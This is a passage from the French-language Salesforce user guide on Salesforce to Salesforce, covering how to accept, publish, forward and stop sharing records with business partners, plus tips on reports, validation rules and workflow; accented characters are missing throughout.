pour slectionner le responsable du nouvel enregistrement.
Cochez la case Envoyer une notification par e-mail pour envoyer au responsable de l'enregistrement les notifications
concernant les modifications que vous avez apportes.
Cliquez sur Enregistrer pour achever le processus d'acceptation de l'enregistrement.

Acceptation d'enregistrements de compte

Lorsque vous acceptez un compte, vous pouvez l'associer un autre objet et crer un nouveau compte ou encore utiliser un
compte existant. Si vous crez un nouveau compte, vous pouvez aussi dfinir le responsable de cet enregistrement.

Pour associer le compte un autre objet, cliquez sur l'icne de

en regard du type d'objet et slectionnez un objet existant.
Pour crer un nouveau compte partir de l'enregistrement partag, slectionnez Crer un compte. Vous devez disposer
de l'autorisation de cration sur les comptes.
Pour utiliser un compte existant, cliquez sur l'icne de
afin de slectionner un compte existant.
Si vous disposez de plus d'un type d'enregistrement pour un compte, slectionnez le type d'enregistrement appropri.
Utilisez l'icne de
pour slectionner le responsable de tout nouvel enregistrement.
Cochez la case Envoyer une notification par e-mail pour envoyer au responsable de l'enregistrement les notifications
concernant les changements que vous avez apports.
Cliquez sur Enregistrer pour achever le processus d'acceptation de l'enregistrement.

Acceptation d'enregistrements de contact

Lorsque vous acceptez un contact, vous pouvez l'associer un autre objet et crer un nouveau compte ou contact, ou encore
utiliser un compte ou contact existants. Si vous crez un contact ou un compte, vous pouvez aussi dfinir le responsable de cet
enregistrement.

Pour associer le contact un autre objet, cliquez sur l'icne de

en regard du type d'objet et slectionnez un objet existant.
Pour crer un compte li au contact, entrez le nom du compte. Vous devez disposer de l'autorisation de cration sur les
comptes.
Pour associer un compte existant au contact, cliquez sur l'icne de
afin de slectionner un compte existant.
Pour accepter le contact sans l'associer un compte, slectionnez Utiliser aucun.
Pour crer un contact partir de l'enregistrement partag, slectionnez Crer un contact. Vous devez disposer de l'autorisation
de cration sur les nouveaux contacts.
Pour modifier un contact existant en le reliant l'enregistrement de votre partenaire commercial, cliquez sur l'icne de
afin de slectionner un contact existant.
Si vous disposez de plus d'un type d'enregistrement pour un compte ou un contact, slectionnez le type d'enregistrement
appropri.
Utilisez l'icne de
pour slectionner le responsable de tout nouvel enregistrement.
Cochez la case Envoyer une notification par e-mail pour envoyer au responsable de l'enregistrement des notifications sur
les changements que vous apportez.
Cliquez sur Enregistrer pour terminer le processus d'acceptation de l'enregistrement.

Acceptation d'enregistrements de requte, piste et d'objet personnalis

Lorsque vous acceptez une requte, une piste ou un objet personnalis, vous pouvez les associer un autre objet et assigner la
piste ou l'objet personnalis un nouveau responsable.

Salesforce to Salesforce

Guide de l'utilisateur | Acceptation d'enregistrements partags en provenance d'une connexion | 1874

Pour associer la requte, la piste ou l'objet personnalis un autre objet, cliquez sur l'icne de
en regard du type d'objet,
puis slectionnez un objet existant.
Pour rattribuer la requte, la piste ou l'objet personnalis un utilisateur spcifique, cliquez sur Attribuer , puis
slectionnez un utilisateur, un utilisateur partenaire ou une file d'attente et spcifiez la personne laquelle l'attribuer ou
bien cliquez sur
pour la retrouver.
Pour rattribuer la requte, la piste ou l'objet personnalis en utilisant des rgles d'attribution en vigueur, slectionnez
Procder l'attribution l'aide des rgles d'attribution en vigueur.
Cliquez sur Enregistrer pour achever le processus d'acceptation de l'enregistrement.
Remarque: Lorsque vous acceptez un enregistrement de requte qui contient des commentaires de requte publics,
ces commentaires sont automatiquement accepts si vous tes abonn l'objet commentaire de requte.

Acceptation d'enregistrements de produit

Lorsque vous acceptez un produit, vous pouvez crer un produit ou associer ce produit un produit existant.

Pour crer un produit, slectionnez le bouton radio Crer un produit. Vous devez disposer de l'autorisation Crer
sur les produits.
Pour associer le produit un produit existant, slectionnez le bouton radio Utiliser existant, puis cliquez sur l'icne

de
et slectionnez un objet existant.
Cliquez sur Enregistrer pour terminer le processus d'acceptation de l'enregistrement.

Observations complmentaires

Aprs l'acceptation d'un enregistrement partag, si vous mettez jour un champ auquel votre partenaire commercial a
souscrit, le champ est automatiquement mis jour sur l'enregistrement de l'organisation de votre partenaire commercial.
De mme, si votre partenaire commercial met jour un champ auquel vous avez souscrit, ce dernier est automatiquement
mis jour dans votre organisation. Lorsque votre partenaire commercial met jour l'enregistrement, le champ Dernire
mise jour effectue par sera dfini sur Utilisateur connect.
Une fois que vous avez accept un enregistrement, vous pouvez le rendre disponible pour d'autres connexions de la mme
manire que vous pouvez le faire grce Salesforce to Salesforce. Cela vous permet de travailler dans un rseau commercial
plusieurs niveaux. Dans un rseau plusieurs niveaux, les changements apports l'enregistrement partag dans votre
organisation permettent de mettre jour les informations dans toutes les organisations qui partagent l'enregistrement.
Si votre partenaire commercial partage ultrieurement des enregistrements enfants en utilisant le lien Grer les connexions
dans la liste associe d'un enregistrement que vous avez dj accept, les enregistrements enfants peuvent tre
automatiquement ajouts votre organisation.

Voir aussi :
Partage d'enregistrement utilisant Salesforce to Salesforce
Page d'accueil des connexions
Publication de champs dans Salesforce to Salesforce
Inscription des champs de Salesforce to Salesforce
Conseils pour l'utilisation de Salesforce to Salesforce

Salesforce to Salesforce

Guide de l'utilisateur | Acceptation d'enregistrements partags en provenance d'une connexion | 1875

Acceptation automatique d'enregistrements associs en provenance

d'une connexion
Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour accepter ou rejeter des enregistrements :

Autorisations Lire et Modifier sur l'enregistrement

Rgles d'acceptation automatique d'enregistrements associs en provenance d'une connexion

Lorsque vous partagez des enregistrements l'aide de Salesforce to Salesforce, vous pouvez aussi partager des enregistrements
enfants. Lorsque vous acceptez un enregistrement d'une connexion ou lorsque votre connexion accepte un enregistrement de
vous, les enregistrements enfants peuvent tre automatiquement accepts condition que certains critres soient respects. De
mme, lorsqu'un enregistrement enfant est partag par la suite l'aide du lien Grer les connexions dans la liste associe et
que l'enregistrement parent est dj accept, l'enregistrement enfant peut tre accept automatiquement.
Les critres suivants doivent tre respects afin qu'un enregistrement enfant soit accept automatiquement :

L'enregistrement parent doit dj avoir t accept dans l'organisation.

L'enregistrement doit tre associ en tant qu'enfant de l'enregistrement parent.
L'enregistrement enfant ne peut pas avoir deux enregistrements principaux.
L'enregistrement enfant ne peut pas avoir plusieurs relations avec le mme enregistrement parent.
Le responsable de la connexion doit tre un utilisateur actif.
Le responsable de l'enregistrement parent doit tre un utilisateur actif.
Important: Lorsque des enregistrements enfants sont accepts automatiquement, il peut y avoir un lger dlai avant
qu'ils ne soient visibles dans la liste associe de l'enregistrement parent. De plus, lorsqu'un enregistrement enfant est
partag l'aide du lien Grer les connexions dans la liste associe de l'enregistrement parent, il peut y avoir un lger
dlai avant que le nom de connexion en envoi ne s'affiche.

Si un enregistrement enfant ne correspond pas aux critres de l'acceptation automatique, il devra tre accept manuellement
partir de son onglet d'objet. Par exemple, un enregistrement d'opportunit devra tre accept partir de l'onglet Opportunits.
Un enregistrement enfant qui doit tre accept manuellement s'affiche avec le nom de l'enregistrement parent afin qu'il soit
correctement attribu. Pour plus d'informations, reportez-vous Acceptation des enregistrements partags depuis une connexion
la page 1871.

Voir aussi :
Inscription des champs de Salesforce to Salesforce

Salesforce to Salesforce

Guide de l'utilisateur | Publication de champs dans 100 % Salesforce | 1876

Publication de champs dans 100 % Salesforce

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour publier des objets :

Grer les connexions

Les objets que vous publiez sont les objets que vos utilisateurs peuvent partager avec vos partenaires commerciaux l'aide de
Salesforce to Salesforce. Si vous avez accept une invitation, cr des objets personnaliss ou dcid de partager davantage
d'informations avec votre partenaire commercial, il se peut que vous souhaitiez publier de nouveaux objets. Autrement, vous
pouvez dcider de limiter les objets publier un seul partenaire commercial.
Pour dfinir les objets publis pour une connexion :
1.
2.
3.
4.
5.

Cliquez sur l'onglet Connexions.

Cliquez sur le nom de la connexion modifier.
Dans la liste associe Objets publis, cliquez sur Publier/Annuler la publication.
Slectionnez les objets publier pour votre partenaire commercial. Dslectionnez les objets que vous ne voulez plus publier.
Cliquez sur Enregistrer.
Remarque:
Vous ne pouvez pas publier des objets que vous n'tes pas autoris modifier.

Lorsque vous mettez jour vos objets publis, un e-mail est envoy votre partenaire commercial pour l'informer des
changements. Vous pouvez personnaliser cet e-mail en modifiant le modle de communication Mettre la connexion jour.
Votre partenaire commercial est automatiquement dsinscrit des objets lorsque vous :

Arrtez de publier un objet

Supprimez un objet personnalis auquel votre partenaire commercial est inscrit

Une fois que vous avez publi un objet, vous pouvez grer les champs que vous publiez sur cet objet. Pour plus d'informations
sur la publication de champs, reportez-vous Publication de champs sur 100 % Salesforce la page 1877.
Observations complmentaires

Tous les objets personnaliss de votre organisation s'affichent dans les listes d'objets, mais Salesforce to Salesforce prend
en charge uniquement les objets personnaliss dploys. Vous ne pouvez pas transmettre un enregistrement d'un objet
personnalis qui n'a pas t dploy.

Salesforce to Salesforce

Guide de l'utilisateur | Publication de champs dans Salesforce to Salesforce | 1877

Si vous publiez l'objet commentaire de requte, tous les commentaires de requte publics sont partags avec votre connexion.
Pour viter de partager un commentaire, slectionnez Ne pas partager. Si vous ne souhaitez partager aucun commentaire
de requte avec vos connexions, ne publiez pas l'objet des commentaires de requte.

Voir aussi :
Publication de champs dans Salesforce to Salesforce
Transmission d'enregistrements associs une connexion
Inscription des objets de 100 % Salesforce

Publication de champs dans Salesforce to Salesforce

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour publier des champs :

Grer les connexions

Lorsque vous travaillez avec un partenaire commercial sur le Salesforce to Salesforce, vous contrlez les objets que vous partagez
avec lui en publiant les objets. En outre, vous pouvez contrler les champs que vous publiez sur ces objets. Les champs suivants
sont publis par dfaut :

Compte : Nom du compte, et, si vous utilisez les comptes personnels, Nom
Pice jointe : Corps, Type de contenu, Nom de fichier
Requte : Objet
Commentaire sur la requte : Corps et Publi
Contact : Nom
Objet personnalis : Nom
Piste : Nom et Entreprise
Opportunit : Nom, Date de clture, et tape
Produit : Nom du produit
Tche : Objet
Produit de l'opportunit : Quantit, Prix de vente

Outre ces champs requis, vous voudrez peut-tre publier des champs supplmentaires. Autrement, vous pouvez dcider de
limiter les champs que vous publiez actuellement un seul partenaire commercial.
Pour dfinir les champs publis pour une connexion :
1.
2.
3.
4.

Cliquez sur l'onglet Connexions.

Cliquez sur le nom de la connexion modifier.
Dans la liste associe Objets publis, cliquez sur Modifier en regard de l'objet publi.
Slectionnez les champs publier pour votre partenaire commercial. Dslectionnez les champs que vous ne voulez plus
publier.
5. Cliquez sur Enregistrer.

Salesforce to Salesforce

Guide de l'utilisateur | Publication de champs dans Salesforce to Salesforce | 1878

Remarque: Vous ne pouvez pas publier des champs que vous n'tes pas autoris modifier.
Salesforce to Salesforce affiche l'tiquette d'API pour chaque champ.
Lorsque vous changez les champs que vous publiez, un e-mail est envoy votre partenaire commercial l'informant de cette
modification. Vous pouvez personnaliser cet e-mail en modifiant le modle de communication Mettre la connexion jour.
Remarque: Si les Planifications de quantit et les Planifications de chiffre d'affaires sont actives dans votre organisation
et que vous souhaitez publier l'objet Produits vers cette connexion, la connexion doit s'inscrire aux champs suivants et
les mapper avec les champs correspondants dans votre organisation :
Si les Planifications de quantit sont actives :

Nombre de versements de quantit

Priode de versement de quantit
Type de planification de quantit

Si les Planifications de chiffre d'affaires sont actives :

Nombre de versements de chiffre d'affaires

Priode de versement de chiffre d'affaires
Type de planification de chiffre d'affaires

Votre partenaire commercial est automatiquement dsinscrit des champs quand vous :

Cessez de publier un champ

Supprimez un champ personnalis auquel votre partenaire commercial est inscrit
Modifiez le type d'un champ auquel votre partenaire commercial est inscrit
Modifiez la taille ou la prcision d'un champ de zone de texte longue, de texte, de pourcentage, numrique ou de devise.

Ces champs sont toujours publis mais votre partenaire commercial doit s'y inscrire nouveau.
De nouvelles versions du service Salesforce.com comprennent parfois de nouveaux champs standard. Comme les organisations
Salesforce.com du monde entier n'adoptent pas simultanment les mises niveau vers les nouvelles versions, vous risquez de
ne pas pouvoir publier ces nouveaux champs pour tous vos partenaires professionnels jusqu' ce que leur entreprise ait galement
appliqu la mise niveau. Les mises niveau du service interviennent pendant les priodes de maintenance planifie du systme.
Pour afficher le calendrier de maintenance, reportez-vous trust.salesforce.com.
Si vous utilisez des comptes personnels et que votre connexion n'a pas activ les comptes personnels, le Nom du compte personnel
est utilis comme Nom de compte lorsque vous partagez un enregistrement. Si votre connexion autorise les comptes personnels,
ils sont automatiquement abonns au champ Nom. Toute modification apporte au Nom et au Nom de compte est synchronise.

Voir aussi :
Gestion des connexions
Inscription des champs de Salesforce to Salesforce

Salesforce to Salesforce

Guide de l'utilisateur | Enregistrements mis disposition d'une connexion | 1879

Enregistrements mis disposition d'une connexion

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour attribuer des enregistrements une connexion.

Autorisations Lire et Modifier sur l'enregistrement

Pour mettre fin au partage d'un enregistrement :

Autorisations Lire et Modifier sur l'enregistrement

Salesforce to Salesforce permet de partager des enregistrements avec des partenaires commerciaux auxquels vous tes connect.
Il existe deux faons de partager des enregistrements, comme suit : transmettre des enregistrements directement vers des
connexions ou attribuer des enregistrements une file d'attente de connexions. Vous pouvez partager les mmes enregistrements
avec plusieurs connexions. Une fois partags, les enregistrements doivent tre accepts par les connexions.
Partage d'un enregistrement avec des connexions
Vous pouvez partager des enregistrements de piste, d'opportunit, de compte, de contact, de tche, de produit, de produit
d'opportunit, de requte et d'objet personnalis avec des partenaires commerciaux auxquels vous tes connect.
Remarque: Vous pouvez transmettre des enregistrements que vous ou vos subordonns possdent et les administrateurs
du systme peuvent transmettre tous les enregistrements.
Tout enregistrement de piste que vous transmettez doit comprendre un champ Nom de socit renseign.
Vous ne pouvez pas transmettre un enregistrement d'un objet personnalis qui n'a pas t dploy.
Pour transmettre un enregistrement et ses enregistrements associes, procdez comme suit :
1. Affichez la page de dtails de l'enregistrement.
2. Dans la liste associe Partage externe, cliquez sur le bouton Suivante. Par exemple, sur une opportunit, cliquez sur
Transfrer cette opportunit.
3. Slectionnez la ou les connexions auxquelles transmettre l'enregistrement dans la liste Connexions disponibles.
4. Cliquez sur la flche Ajouter ( ) pour dplacer la ou les connexions vers la liste Connexions slectionnes.
5. Vous pouvez galement slectionner Envoyer une notification par e-mail (nouveaux invits uniquement) afin d'envoyer
d'informer le reprsentant de la connexion du transfert de l'enregistrement. Seuls les nouveaux destinataires de
l'enregistrement reoivent l'e-mail. Les connexions auxquelles vous avez dj transmis l'enregistrement ne reoivent pas
un autre message.
6. Vous pouvez galement activer les cases en regard des enregistrements que vous souhaitez transmettre. Vous pouvez
galement partager des enregistrements associs sparment.
7. Cliquez sur Enregistrer.
L'enregistrement et les enregistrements associes slectionns sont transmis aux connexions spcifies.
Partage d'enregistrements multiples avec des connexions
Pour transfrer plusieurs enregistrements aux connexions :
Remarque: Vous ou vos subordonns doivent tre responsables des enregistrements et disposer de l'autorisation Grer
les connexions.

Salesforce to Salesforce

Guide de l'utilisateur | Enregistrements mis disposition d'une connexion | 1880

1. Slectionnez l'onglet du type d'enregistrement que vous souhaitez transmettre. Par exemple, pour transmettre des
enregistrements d'opportunit, slectionnez l'onglet Opportunits.
2. Slectionnez une vue de liste dans la liste droulante Afficher , puis cliquez sur Ok!.
3. Dans la vue de liste, cochez les cases en regard des enregistrements que vous souhaitez transmettre. Pour slectionner tous
les enregistrements, cochez la case dans l'en-tte de la colonne.
4. Cliquez sur Transmettre aux connexions.
5. Slectionner la ou les connexions auxquelles vous souhaitez transfrer l'enregistrement dans la liste Connexions disponibles.
6. Cliquez sur la flche Ajouter ( ) pour dplacer la ou les connexions vers la liste Connexions slectionnes.
7. Vous pouvez galement slectionner Envoyer une notification par e-mail (nouveaux invits uniquement) afin d'envoyer
un e-mail informant le reprsentant de la connexion de l'envoi de l'enregistrement. Seuls les nouveaux destinataires de
l'enregistrement recevront une notification par e-mail. Les connexions auxquelles vous avez prcdemment transfr
l'enregistrement ne recevront pas d'autre e-mail.
8. Vous pouvez galement activer les cases en regard des types d'enregistrements associs que vous souhaitez transmettre avec
les enregistrements principaux.
9. Cliquez sur Enregistrer.
Les enregistrements et tous les enregistrements associs que vous avez slectionns sont transfrs aux connexions que vous
avez spcifies.
Partage de produits d'opportunit avec des connexions
Un produit d'opportunit est associ des enregistrements d'opportunits et de produits. Par consquent, vous pouvez le
partager uniquement comme un enregistrement enfant d'une opportunit partage, condition que le produit associ soit
galement partag.
Si tous les critres suivants sont remplis, les produits d'opportunit sont automatiquement partags avec des connexions, ils
ne peuvent pas tre partags sparment.

Le type d'objet Produit d'opportunit est publi vers votre connexion et votre connexion s'est abonne l'objet.
L'opportunit et le produit associ au produit d'opportunit sont partags avec votre connexion :
-

Vous pouvez partager l'opportunit partir de la liste associe Partage externe de l'opportunit. Vous devez cocher la
case Produit d'opportunit dans la section Transmettre des enregistrements associs dj existants.
Vous pouvez partager le produit partir de la liste associe Produits de l'opportunit l'aide du lien Grer les connexions.

Dans l'organisation de la connexion, l'opportunit est associe un catalogue de prix actif durant l'acceptation.
Dans l'organisation de la connexion, le produit est associ au mme catalogue de prix actif que l'opportunit.
Dans l'organisation de la connexion, le produit est actif.
Dans les deux organisations, la devise de l'opportunit est identique.

En partageant des produits d'opportunit, tenez compte des rgles supplmentaires suivantes :

Si les planifications de quantits ou de chiffres d'affaire sont actives dans l'organisation de la connexion, les champs
Quantit et Prix de vente ne sont pas mis jour dans l'organisation de la connexion.
Si la catalogue de prix associ au produit d'opportunit est modifi ou supprim dans une organisation, le produit
d'opportunit n'est plus partag.
Si l'opportunit n'est plus partage, le produit d'opportunit n'est plus partag.

Partage de commentaires de requte avec des connexions

Vous pouvez partager un commentaire de requte en tant qu'enregistrement enfant d'une requte. Les commentaires de requte
sont automatiquement accepts par une connexion si les critres suivants sont remplis :

Le type d'objet Commentaire de requte est publi vers votre connexion et votre connexion s'est abonne l'objet.

Salesforce to Salesforce

Guide de l'utilisateur | Liste associe de partage externe | 1881

La requte laquelle le commentaire est associ est partage avec la connexion.

Le commentaire de requte n'est pas marqu Priv .

Partage de pices jointes

Vous pouvez partager des pices jointes en tant qu'enregistrements enfant de tout objet pris en charge. Les pices jointes sont
automatiquement acceptes par une connexion si les critres suivants sont remplis :

Le type d'objet Pice jointe est publi vers votre connexion et votre connexion s'est abonne l'objet.
L'enregistrement parent de la pice jointe est partag avec la connexion.
La pice jointe n'est pas marqus Priv .
La case Partager avec des connexions de la pice jointe est active.

Fin du partage des enregistrements

Pour mettre fin au partage d'un enregistrement :
Remarque: Vous pouvez uniquement cesser de partager des enregistrements dont vous ou vos subordonns tes
responsables. Les administrateurs systme peuvent cesser de partager tous les enregistrements.
1. Affichez la page de dtails de l'enregistrement.
2. Dans la liste associe Partage externe, cliquez sur Arrter le partage.
Lorsque vous mettez fin au partage de l'enregistrement avec une connexion, les modifications apportes l'enregistrement
dans votre organisation ne sont pas refltes dans l'enregistrement de l'organisation de la connexion. L'enregistrement partag
n'est pas supprim dans l'autre organisation.

Voir aussi :
Partage d'enregistrement utilisant Salesforce to Salesforce
Liste associe de partage externe
Inscription des objets de 100 % Salesforce
Inscription des champs de Salesforce to Salesforce
Publication de champs dans 100 % Salesforce
Publication de champs dans Salesforce to Salesforce

Liste associe de partage externe

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour afficher le statut du partage externe d'un enregistrement Autorisation de lecture sur l'enregistrement
Pour mettre fin au partage d'un enregistrement :

Grer les connexions

Salesforce to Salesforce permet de partager des enregistrements avec une ou plusieurs connexions, chacune acceptant les
enregistrements que vous partagez avec elle, mme si d'autres connexions ont dj accept le mme enregistrement. Lorsque

Salesforce to Salesforce

Guide de l'utilisateur | Liste associe de partage externe | 1882

vous utilisez un enregistrement que vous avez reu d'une connexion, ou un enregistrement que vous avez partag avec une
connexion, la page de dtails de cet enregistrement comporte un en-tte indiquant son statut. L'enregistrement peut galement
contenir la liste associe Partage externe, qui affiche les dtails des connexions avec lesquelles cet enregistrement est partag,
et le statut de partage.
Les enregistrements partags de faon externe prsentent l'un des statuts suivants :
Actif (envoy)
L'enregistrement a t partag et accept par une entreprise externe.
Actif (reu)
L'enregistrement vous a t envoy depuis une entreprise externe et vous l'avez accept.
En attente (envoy)
L'enregistrement a t partag, mais pas accept par une entreprise externe.
Inactifs
L'enregistrement n'est plus partag avec une entreprise externe.
Inactif (supprim)
L'enregistrement a t accept par une entreprise externe, mais cette entreprise l'a supprim.
Inactif (converti)
L'enregistrement a t accept par une entreprise externe qui l'a converti en opportunit. Ce statut s'applique uniquement
aux pistes.
Partage d'un enregistrement avec des connexions
Vous pouvez partager des enregistrements de piste, d'opportunit, de compte, de contact, de tche, de produit, de produit
d'opportunit, de requte et d'objet personnalis avec des partenaires commerciaux auxquels vous tes connect.
Remarque: Vous pouvez transmettre des enregistrements que vous ou vos subordonns possdent et les administrateurs
du systme peuvent transmettre tous les enregistrements.
Tout enregistrement de piste que vous transmettez doit comprendre un champ Nom de socit renseign.
Vous ne pouvez pas transmettre un enregistrement d'un objet personnalis qui n'a pas t dploy.
Pour transmettre un enregistrement et ses enregistrements associes, procdez comme suit :
1. Affichez la page de dtails de l'enregistrement.
2. Dans la liste associe Partage externe, cliquez sur le bouton Suivante. Par exemple, sur une opportunit, cliquez sur
Transfrer cette opportunit.
3. Slectionnez la ou les connexions auxquelles transmettre l'enregistrement dans la liste Connexions disponibles.
4. Cliquez sur la flche Ajouter ( ) pour dplacer la ou les connexions vers la liste Connexions slectionnes.
5. Vous pouvez galement slectionner Envoyer une notification par e-mail (nouveaux invits uniquement) afin d'envoyer
d'informer le reprsentant de la connexion du transfert de l'enregistrement. Seuls les nouveaux destinataires de
l'enregistrement reoivent l'e-mail. Les connexions auxquelles vous avez dj transmis l'enregistrement ne reoivent pas
un autre message.
6. Vous pouvez galement activer les cases en regard des enregistrements que vous souhaitez transmettre. Vous pouvez
galement partager des enregistrements associs sparment.
7. Cliquez sur Enregistrer.

Salesforce to Salesforce

Guide de l'utilisateur | Transmission d'enregistrements associs une connexion | 1883

L'enregistrement et les enregistrements associes slectionns sont transmis aux connexions spcifies.
Pour mettre fin au partage d'un enregistrement :
Remarque: Vous pouvez uniquement cesser de partager des enregistrements dont vous ou vos subordonns tes
responsables. Les administrateurs systme peuvent cesser de partager tous les enregistrements.
1. Affichez la page de dtails de l'enregistrement.
2. Dans la liste associe Partage externe, cliquez sur Arrter le partage.

Voir aussi :
Partage d'enregistrement utilisant Salesforce to Salesforce
Enregistrements mis disposition d'une connexion

Transmission d'enregistrements associs une connexion

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour attribuer des enregistrements une connexion.

Autorisations Lire et Modifier sur l'enregistrement

Pour transfrer des enregistrements associs une connexion : Autorisations Lire et Modifier sur l'enregistrement
Pour mettre fin au partage d'un enregistrement :

Autorisations Lire et Modifier sur l'enregistrement

Salesforce to Salesforce permet de transmettre des enregistrements de tche, d'opportunit, de contact, de produit, de produit
d'opportunit, de requtes, de commentaires de requte, de pice jointe et d'objet personnalis qui sont les enfants
d'enregistrements dj partags avec des connexions. Vous slectionnez des types d'enregistrements enfants qui peuvent tre
partags lorsque vous partagez un enregistrement parent.
Les enregistrement enfants sont automatiquement partags avec des connexions lorsque l'enregistrement parent a t accept
par la connexion, si certaines conditions sont remplies.
Tenez compte des points suivants lors du partage d'enregistrements associs :

Un enregistrement associ ne sera plus partag avec une connexion s'il est modifi partir d'un enregistrement non partag.
Il est possible de partager un maximum de 100 tches par enregistrement associ. Ce maximum comprend des tches
ouvertes et closes.

Pour arrter de partager un enregistrement associ depuis la page de dtails de son enregistrement parent :
1. Slectionnez la page de dtails de l'enregistrement parent.
2. Dans la liste associe de l'enregistrement que vous souhaitez arrter de partager, cliquez sur Grer les connexions dans la
colonne Nom de connexion en envoi. Par exemple, pour arrter de partager un contact associ un compte, cliquez sur
Grer les connexions dans la liste associe Contacts de la page de dtails du compte.
3. Slectionner la ou les connexions dont vous souhaitez arrter le partage dans la liste Connexions slectionnes.

Salesforce to Salesforce

4. Cliquez sur la flche Supprimer (

5. Cliquez sur Enregistrer.

Guide de l'utilisateur | Conseils pour l'utilisation de Salesforce to Salesforce | 1884

) pour dplacer la ou les connexions dans la liste Connexions disponibles.

Alternativement, pour arrter de partager un enregistrement associ depuis sa page de dtails :

1. Affichez la page de dtails de l'enregistrement.
2. Dans la liste associe Partage externe, cliquez sur Arrter le partage.
Pour mettre fin au partage d'un commentaire de requte :
1. Slectionnez la page de dtails de l'enregistrement parent.
2. Cliquez sur Ne pas partager en regard du commentaire de requte.
Pour mettre fin au partage d'une pice jointe :
1. Dans la page de dtails de l'enregistrement parent, cliquez sur Modifier en regard de la pice jointe.
2. Activez la case Priv. Vous pouvez galement dsactiver la case Partager avec des connexions.
3. Cliquez sur Enregistrer.

Voir aussi :
Publication de champs dans 100 % Salesforce

Conseils pour l'utilisation de Salesforce to Salesforce

Disponible avec : Toutes les ditions

Gestion des connexions

Pour suivre les activits de connexion et les autres dtails de connexion, crez un rapport personnalis :
1.
2.
3.
4.
5.
6.

Cliquez sur l'onglet Rapports.

Cliquez sur Crer un nouveau rapport personnalis.
Choisissez la catgorie de types de rapport Comptes et contacts.
Choisissez les connexions avec le type de rapport Comptes.
Cliquez sur Suivant.
Suivez les diffrentes tapes du rapport pour personnaliser votre rapport selon vos besoins.
Remarque: Si une connexion ne dispose pas d'un compte associ, elle n'est pas incluse dans ce rapport.

7. Enregistrer le rapport.
Vous pouvez galement crer des types de rapport personnaliss qui affichent des informations sur la connexion pour chacun
de vos objets publis ou inscrits. Pour plus d'informations, reportez-vous Qu'est-ce qu'un type de rapport personnalis ? la
page 1753

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Guide de l'utilisateur | Conseils pour l'utilisation de Salesforce to Salesforce | 1885

Gestion des enregistrements

Si des rgles de validation vous empchent d'accepter des enregistrements partags, crez une rgle de validation comportant
le champ non nul Nom de connexion en Rception. Les rgles de validation des enregistrements que vous acceptez
de vos connexions sont alors ignores. Pour crer cette rgle, utilisez la formule suivante :
IF(OR(ISNEW(), ISNULL(Id)), if(ConnectionReceivedId =null, TRUE,
FALSE),NOT(AND(ISCHANGED(ConnectionReceivedId), NOT(ConnectionReceivedId = null)))),
NOT(Contains($User.Alias, "pnet"))

Vous devez galement crer un rgle similaire pour tout dclencheur Apex qui comporte des contrles de validation.
Pour assurer le suivi des enregistrements que vous partagez avec des connexions, crez un rapport personnalis. Par exemple,
vous pouvez crer un rapport personnalis indiquant toutes les pistes que vous avez partages avec des connexions supprimes
par la connexion :
1. Cliquez sur l'onglet Rapports.
2. Cliquez sur Crer un nouveau rapport personnalis.
3. Choisissez la catgorie de types de rapport Pistes.
4. Choisissez le type de rapport Pistes et connexions.
5. Cliquez sur Suivant.
6. Choisissez Slectionnez les critres dans la liste droulante Aller l'tape.
7. Dans la section Filtres avancs, entrez le critre de filtre Statut gal Inactif (supprim).
8. Cliquez sur Excuter le rapport.
9. Personnalisez le rapport en fonction de vos besoins.
10. Cliquez sur Enregistrer sous pour enregistrer le rapport.

Visualisez plus facilement les enregistrements non accepts des connexions en crant une vue de liste personnalise. Par
exemple, crez une vue de liste qui masque les pistes non acceptes des connexions qui remontent plus d'un mois :
1.
2.
3.
4.
5.
6.

Cliquez sur l'onglet Pistes.

Cliquez sur Toutes les pistes des connexions.
Cliquez sur Crer une nouvelle vue.
Saisissez le nom de la vue de liste.
Dans les critres de recherche, entrez le filtre Date de l'envoi gal LE MOIS DERNIER.
Cliquez sur Enregistrer.
Remarque: Vous devez disposer de l'autorisation Grer les connexions pour crer ces listes de vue. Si vous ne crez
pas de vues de liste personnalises, seuls les utilisateurs disposant de l'autorisation Grer les connexions sont en
mesure de voir les objets partags partir d'une connexion.

Si vous pensez recevoir d'importants volumes de donnes depuis une connexion, activez l'option Accepter
automatiquement pour les objets appropris la page 1868. Par exemple, si une connexion partage de faon rgulire un
grand nombre de pistes avec votre organisation, slectionnez la case Accepter automatiquement en regard de
l'opportunit dans la page Ajouter ou supprimer des objets inscrits.
Pour afficher des enregistrements que vous partagez avec plusieurs connexions, crez un rapport personnalis. Pour afficher
des enregistrements partags avec plusieurs connexions dans une vue de liste, vous pouvez galement ajouter le champ Nom
de connexion en envoi une vue existante ou nouvelle, puis vrifier que les listes tendues sont dsactives.
Pour voir les changements apports par une connexion, activez le suivi des champs sur l'objet et ajoutez la liste associe de
l'historique aux prsentations de page. Pour plus d'informations, reportez-vous Suivi de l'historique des champs la page
410. Vous pouvez galement crer un rapport personnalis sur l'historique, qui inclut le champ Nom de connexion en
Rception.
Pour attribuer automatiquement toutes les pistes ou requtes entrantes un utilisateur spcifique, crez une rgle d'attribution
qui inclut les entres de rgle suivantes :

Salesforce to Salesforce

Nom de connexion en rception contient le nom de la connexion

Cr par contient l'utilisateur connect

Vous pouvez procder de mme avec les rgles de hirarchisation.

Pour attribuer une requte une connexion l'aide d'une rgle de hirarchisation de la requte, vous devez attribuer la
requte une file d'attente laquelle appartient la connexion. Par exemple, si une connexion agit comme agence de service
tierce et que toutes les requtes rpondant certains critres doivent tre hirarchiss avec cette connexion, procdez comme
suit :
-

Guide de l'utilisateur | Conseils pour l'utilisation de Salesforce to Salesforce | 1886

Crez une file d'attente qui contient la connexion en tant que membre.
Crez une rgle de hirarchisation avec les critres appropris.
Ajoutez une action de hirarchisation qui attribue automatiquement les requtes rpondant aux critres spcifis cette
file d'attente.

Utilisez le workflow pour automatiser les mises jour des enregistrements et des connexions. Les rgles de workflow seront
dclenches uniquement pour des enregistrements partags l'aide de Salesforce to Salesforce quand :
-

Vous acceptez un enregistrement parent.

Un enregistrement enfant est insr.
Vous tes abonn des champs qui sont configurs pour dclencher les rgles de workflow.

Voici quelques suggestions de critres de rgles de workflow pour Salesforce to Salesforce :

-

Champ Nom de connexion en rception dans des pistes, opportunits et objets personnaliss.
Utilisateur actuel gal pnet.
